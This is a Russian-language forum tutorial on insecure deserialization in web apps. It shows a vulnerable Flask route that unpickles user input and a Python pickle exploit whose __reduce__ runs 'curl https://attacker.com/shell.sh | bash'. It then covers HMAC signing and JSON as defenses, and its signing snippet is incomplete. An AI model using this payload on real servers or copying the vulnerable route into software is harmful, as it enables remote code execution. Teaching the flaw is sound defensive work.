Добро пожаловать на BlackSAMP - ФОРУМ

  • Приватные и секретные разделы доступны только зарегистрированным пользователям.

    Вся важная информация в нашем ТГ: t.me/gtablack

    На данном форуме запрещено публиковать контент нарушающий Российское законодательство, за это последует блокировка ФА.

Уязвимость Insecure Deserialization (Небезопасная десериализация) — скрытый RCE в веб-приложениях

Количество просмотров: 50

IlyaMarkinV

Редактор
Редактор
Регистрация
13 Июн 2025
Сообщения
6
Реакции
2
Баллы
3
Сегодня разберём опасную, но неочевидную уязвимость — Insecure Deserialization (небезопасная десериализация), которая может привести к полному взлому сервера (RCE).




Что такое десериализация?
Десериализация — это процесс преобразования строки или бинарных данных (например, JSON, XML, pickle) обратно в объект программы.

Примеры форматов:

- PHP:
serialize() / unserialize()
- Python: pickle / json
- Java:
ObjectInputStream
- .NET:
BinaryFormatter


Как работает уязвимость?
Если приложение безопасно не проверяет данные перед десериализацией, злоумышленник может подменить их и выполнить произвольный код на сервере.

Пример уязвимого кода (Python + pickle)
Допустим, сервер сохраняет куки пользователя в виде сериализованных данных:

Код:
python
import pickle
import base64
from flask import request, make_response

@app.route('/set_cookie')
def set_cookie():
    user_data = request.args.get('data')
    user_data = base64.b64decode(user_data)
    user_obj = pickle.loads(user_data)
    response = make_response("Cookie set!")
    response.set_cookie('user', user_data)
    return response

Атака
Злоумышленник может создать вредоносный pickle-объект, который выполнит команду на сервере:

Код:
python
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl https://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)

Что произойдёт?

1. Сервер декодирует и десериализует payload
2. Выполнится
Код:
os.system()
с произвольной командой
3. RCE (Remote Code Execution) — полный контроль над сервером!


Где встречается?


1. Куки и сессии (если они сериализованы)
2. API, принимающие сложные структуры
3. Микросервисы, обменивающиеся данными
4. Кеширующие системы (Redis, Memcached)




Как защититься?

1. Никогда не десериализуйте непроверенные данные


- Используйте JSON вместо pickle/XML/binary
- Если десериализация необходима — применяйте строгую проверку схемы

2. Подписывайте данные (HMAC)

Код:
python
import hmac
import hashlib

secret_key = b"supersecret"

def sign_data(data):
    return hmac.new(secret_key, data, hashlib.sha256).hexdigest()

user_data = {"name": "user123"}
serialized = json.dumps(user_data).encode()
signature = sign_data(serialized)

if sign_data(serialized) != received_signature:
    raise ValueError("Подпись неверна!")

3. Используйте безопасные альтернативы

- Python:
Код:
json.loads()
вместо
Код:
pickle.loads()
- PHP:
Код:
json_decode()
вместо
Код:
unserialize()
- Java: Jackson/Gson вместо
Код:
ObjectInputStream

4. Sandboxing (изоляция)
- Запускайте десериализацию в докере или изолированном процессе


Вывод

Insecure Deserialization — это тихий RCE, который может лежать в коде годами, пока его не эксплуатируют. Всегда:

✅ Проверяйте входные данные
✅ Используйте JSON вместо бинарных форматов
✅ Подписывайте данные
 
Последнее редактирование:
Сверху Снизу